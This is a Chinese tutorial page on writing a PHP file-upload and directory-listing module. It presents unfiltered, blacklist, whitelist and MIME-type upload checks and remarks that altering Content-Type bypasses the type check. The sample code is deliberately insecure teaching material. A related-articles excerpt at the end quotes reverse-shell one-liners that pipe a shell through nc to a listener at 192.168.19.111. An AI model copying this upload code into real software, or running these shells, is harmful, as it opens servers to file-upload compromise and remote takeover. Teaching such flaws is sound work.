第24天:安全开发-PHP应用文件管理模块显示上传黑白名单类型过滤访问控制

第二十四天

Untitled

一、PHP文件管理-显示&上传功能实现

  • 如果被抓包抓到数据包,并修改Content-Type内容 则也可以绕过筛查 正常进行上传和下载

二、文件上传-$_FILES&过滤机制实现

  1. 无过滤机制

  2. 黑名单过滤机制

  • 使用 explode 函数通过点号分割文件名,获取文件后缀
  • 使用 end 函数获取数组中的最后一个元素,即文件后缀
  • 检查文件后缀是否在黑名单中
    • 如果文件后缀在黑名单中,输出非法后缀文件信息
    • 如果文件后缀不在黑名单中,移动上传的文件到指定目录
    • 输出上传成功的提示信息
  1. 白名单过滤机制
  • 基本和黑名单一样简单修改即可
  • 只能上传白名单相符的后缀
  1. 文件类型过滤机制
  • 如果是图片在抓包内容Content-Type: image/png
  • 如果是exe文件抓包内容Content-Type: application/x-msdownload
$_FILES:PHP中一个预定义的超全局变量,用于在上传文件时从客户端接收文件,并将其保存到服务器上。它是一个包含上传文件信息的数组,包括文件名、类型、大小、临时文件名等信息。
$_FILES["表单值"]["name"] 获取上传文件原始名称
$_FILES["表单值"]["type"] 获取上传文件MIME类型
$_FILES["表单值"]["size"] 获取上传文件字节单位大小
$_FILES["表单值"]["tmp_name"] 获取上传的临时副本文件名
$_FILES["表单值"]["error"] 获取上传时发生的错误代码
move_uploaded_file() 将上传的文件移动到指定位置的函数

三、文件显示-目录遍历&过滤机制实现

1.功能:显示 上传 下载 删除 编辑 包含等

  1. 打开目录读取文件列表

  2. 递归循环读取文件列表

  3. 判断是文件还是文件夹

  4. PHP.INI目录访问控制

is_dir() 函数用于检查指定的路径是否是一个目录
opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录
readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录
open_basedir:PHP.INI中的设置用来控制脚本程序访问目录

1.opendir() 函数

  • opendir() 用于打开一个目录句柄(directory handle)。
  • 接受一个参数,即要打开的目录的路径。
  • 返回一个目录句柄,该句柄可以用于后续对目录的操作。
  • 通常与 closedir() 配合使用,用于关闭目录句柄。

示例:

phpCopy code
$dir_handle = opendir('/path/to/directory');

2.readdir() 函数

  • readdir() 用于读取目录句柄中的条目。
  • 接受一个参数,即之前使用 opendir() 打开的目录句柄。
  • 在每次调用时,返回目录中的下一个文件或目录的名称。
  • 当没有更多的文件或目录时,返回 false

示例:

phpCopy code
$file = readdir($dir_handle);

四.环境复现

1.上传功能

1.页面代码
<form action="upload.php" method="POST" enctype="multipart/form-data"><!-- 用于标识上传文件的标签 --><label for="file">选择文件:</label><br><!-- 文件输入框,允许用户选择要上传的文件 --><input type="file" id="file" name="f"><br><!-- 提交按钮,触发文件上传操作 --><button type="submit">上传文件</button>
</form>
2.后端源码
<?php// 从上传文件数组中获取文件名
$name = $_FILES['f']['name'];
// 从上传文件数组中获取文件类型
$type = $_FILES['f']['type'];
// 从上传文件数组中获取文件大小
$size = $_FILES['f']['size'];
// 从上传文件数组中获取临时文件名
$tmp_name = $_FILES['f']['tmp_name'];
// 从上传文件数组中获取错误码
$error = $_FILES['f']['error'];// 输出文件名
echo $name . "<br>";
// 输出文件类型
echo $type . "<br>";
// 输出文件大小
echo $size . "<br>";
// 输出临时文件名
echo $tmp_name . "<br>";
// 输出错误码
echo $error . "<br>";// 如果成功将临时文件移动到指定目录,则输出文件上传成功
if (move_uploaded_file($tmp_name, 'upload/' . $name)) {echo "文件上传成功!";
}
?>

2.黑名单过滤机制

1.实现源码
// 上传文件后缀过滤,使用黑名单机制
$black_ext = array('php', 'asp', 'jsp', 'aspx');
// 使用 explode 函数通过点号分割文件名,获取文件后缀
$fenge = explode('.', $name);
// 使用 end 函数获取数组中的最后一个元素,即文件后缀
$exts = end($fenge);
// 检查文件后缀是否在黑名单中
if (in_array($exts, $black_ext)) {// 如果文件后缀在黑名单中,输出非法后缀文件信息echo '非法后缀文件' . $exts;
} else {// 如果文件后缀不在黑名单中,移动上传的文件到指定目录move_uploaded_file($tmp_name, 'upload/' . $name);// 输出上传成功的提示信息echo "<script>alert('上传成功!')</script>";
}
?>

3.白名单过滤机制

1.实现源码
//白名单过滤机制
**// 允许上传的文件后缀白名单
$allow_ext = array('png', 'jpg', 'gif', 'jpeg');**
// 使用 explode 函数通过点号分割文件名,获取文件后缀
$fenge = explode('.', $name);
// 使用 end 函数获取数组中的最后一个元素,即文件后缀
$exts = end($fenge);
// 检查文件后缀是否在允许的白名单中
**if (!in_array($exts, $allow_ext)) {// 如果文件后缀不在白名单中,输出非法后缀文件信息echo '非法后缀文件' . $exts;**
} else {// 如果文件后缀在白名单中,移动上传的文件到指定目录move_uploaded_file($tmp_name, 'upload/' . $name);// 输出上传成功的提示信息echo "<script>alert('上传成功!')</script>";
}

4.文件过滤机制

1.实现源码
//MIME文件类型过滤
**// 允许上传的文件 MIME 类型白名单
$allow_type = array('image/png', 'image/jpg', 'image/jpeg', 'image/gif');**
// 检查文件 MIME 类型是否在允许的白名单中
if (!in_array($type, $allow_type)) {// 如果文件 MIME 类型不在白名单中,输出非法文件类型信息echo '非法文件类型';
} else {// 如果文件 MIME 类型在白名单中,移动上传的文件到指定目录move_uploaded_file($tmp_name, 'upload/' . $name);// 输出上传成功的提示信息echo '<script>alert("上传成功")</script>';
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/637895.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

力扣HOT100 - 25. K 个一组翻转链表

解题思路&#xff1a; class Solution {public ListNode reverseKGroup(ListNode head, int k) {ListNode dum new ListNode(0, head);ListNode pre dum;ListNode end dum;while (end.next ! null) {for (int i 0; i < k && end ! null; i) {end end.next;}if …

使用docker搭建GitLab个人开发项目私服

一、安装docker 1.更新系统 dnf update # 最后出现这个标识就说明更新系统成功 Complete!2.添加docker源 dnf config-manager --add-repohttps://download.docker.com/linux/centos/docker-ce.repo # 最后出现这个标识就说明添加成功 Adding repo from: https://download.…

React【Day4下+5】

环境搭建 使用CRA创建项目&#xff0c;并安装必要依赖&#xff0c;包括下列基础包 Redux状态管理 - reduxjs/toolkit 、 react-redux路由 - react-router-dom时间处理 - dayjsclass类名处理 - classnames移动端组件库 - antd-mobile请求插件 - axios pnpm i reduxjs/toolkit r…

华为开源自研AI框架昇思MindSpore应用案例:数据处理性能优化

如果你对MindSpore感兴趣&#xff0c;可以关注昇思MindSpore社区 数据是整个深度学习中最重要的一环&#xff0c;因为数据的好坏决定了最终结果的上限&#xff0c;模型的好坏只是去无限逼近这个上限&#xff0c;所以高质量的数据输入&#xff0c;会在整个深度神经网络中起到积极…

内存管理下及模板初阶

嗨喽&#xff0c;今天阿鑫给大家带来内存管理下以及模板初阶的博客&#xff0c;下面让我们开始今天的学习吧&#xff01; 内存管理下及模板初阶 new和delete的实现原理定位new表达式(placement-new)常见面试题泛型编程函数模板类模板 1. new和delete的实现原理 1.1 内置类型…

知道做到 一篇总结学习方法的笔记

元数据 [!abstract] 知道做到&#xff1a;跃迁式学习 书名&#xff1a; 知道做到&#xff1a;跃迁式学习作者&#xff1a; 彼得•霍林斯简介&#xff1a; 学习是改善你的生活环境、成为你想成为的人的关键。科学的方法能加速学习进程&#xff0c;让你事半功倍。技能、信息和能力…

SpringBoot 操作 Redis

导入对应版本的依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId> </dependency>修改配置文件中的信息 spring:redis:host: 127.0.0.1port: 8888注意: 我这里 xsh…

SpringAOP从入门到源码分析大全(三)ProxyFactory源码分析

文章目录 系列文档索引五、ProxyFactory源码分析1、案例2、认识TargetSource&#xff08;1&#xff09;何时用到TargetSource&#xff08;2&#xff09;Lazy的原理&#xff08;3&#xff09;应用TargetSource 3、ProxyFactory选择cglib或jdk动态代理原理4、jdk代理获取代理方法…

数码摄影色彩构成,数码相机色彩管理

一、资料描述 本套摄影色彩资料&#xff0c;大小58.54M&#xff0c;共有6个文件。 二、资料目录 《抽象彩色摄影集》.阿瑟.pdf 《色彩构成》.pdf 《色彩学》.星云.扫描版.pdf 《摄影色彩构成》.pdf 《数码相机色彩管理》.pdf 数码摄影进阶之4《色彩篇》.pdf 三、资料下…

随心玩玩(十五)LLM 浅玩一下RWKV模型

写在前面&#xff1a;无聊又来玩玩LLM了&#xff0c;这次玩玩RWKV&#xff0c;因为我看到hugging face上有个roleplay的模型&#xff0c;遂心动。 【烧显存注意&#xff01;】需要16G显存的样子 介绍 &#xff08;随便cv的&#xff0c;见谅&#xff0c;有空单独写一篇博客看看…

Matlab新手快速上手2(粒子群算法)

本文根据一个较为简单的粒子群算法框架详细分析粒子群算法的实现过程&#xff0c;对matlab新手友好&#xff0c;源码在文末给出。 粒子群算法简介 粒子群算法&#xff08;Particle Swarm Optimization&#xff0c;PSO&#xff09;是一种群体智能优化算法&#xff0c;灵感来源于…